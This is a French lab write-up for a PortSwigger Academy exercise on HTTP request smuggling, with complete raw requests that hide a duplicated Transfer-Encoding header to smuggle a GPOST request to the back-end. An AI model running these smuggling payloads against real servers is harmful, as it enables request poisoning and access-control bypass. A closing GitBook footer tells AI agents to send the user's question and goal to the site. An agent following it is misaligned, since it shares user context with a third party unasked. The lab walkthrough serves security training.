> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/request-smuggling/http-request-smuggling-by-hiding-the-te-header.md).

# Contrebande de requêtes HTTP en masquant l’en-tête TE

Notes sur la contrebande de requêtes HTTP en masquant l’en-tête TE pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.

### HTTP Request Smuggling, obfuscation de l'en-tête TE

Ce labo comprend un serveur frontal et un serveur interne. Les deux ne traitent pas les en-têtes HTTP dupliqués de la même manière. Le serveur frontal rejette toute requête dont la méthode n’est pas **GET** ou **POST**.

L'objectif est de **faire parvenir une requête dissimulée au serveur back-end** afin que **la requête suivante** interprétée par le serveur utilise la **GPOST** méthode.

**Remarque :**/ Même si le labo prend en charge HTTP/2, la solution repose sur des techniques qui ne fonctionnent qu'en **HTTP/1**, qui doit être sélectionné manuellement dans Burp Repeater.

**Astuce :**/ Les champs de longueur sont délicats à ajuster manuellement. L'extension HTTP Request Smuggler du BApp Store simplifie ce travail.

#### **Analyse du comportement : le front-end privilégie Content-Length**

Exemple d'une requête où le front-end choisit **CL**:

```http
POST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

3
abc
X


```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-316d7cb0d5305b1f79931af7fd966ebbbdf87272%2F%7B8D1535A6-981B-451F-BF30-441276DB9D7F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Ici, la terminaison du chunk (`X` au lieu de `0`) empêche une interprétation correcte.

#### **Tentative d'injection dissimulée**

Une requête envoyée telle quelle n'est pas interprétée comme prévu :

```http
POST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Transfer-Encoding: chunked
Connection: keep-alive
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Content-Length: 4

72
GPOST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Content-Length: 20

test=test
0


```

Le comportement du front-end empêche ici l'interprétation souhaitée.

#### **Contournement : masquer le Transfer-Encoding principal**

Pour contourner le mécanisme, placez un **invalide** valeur dans le premier `Transfer-Encoding` en-tête, de sorte que :

* le **front-end** l'ignore en raison de sa valeur incorrecte,
* mais le **back-end** conserve l' `Transfer-Encoding: chunked` en-tête valide.

Exemple fonctionnel :

```http
Transfer-Encoding: chunked
Transfer-Encoding: wdwd
```

```http
POST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
Transfer-Encoding: wdwd
Content-Type: application/x-www-form-urlencoded

72
GPOST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Content-Length: 20

test=test
0


```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/request-smuggling/http-request-smuggling-by-hiding-the-te-header.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
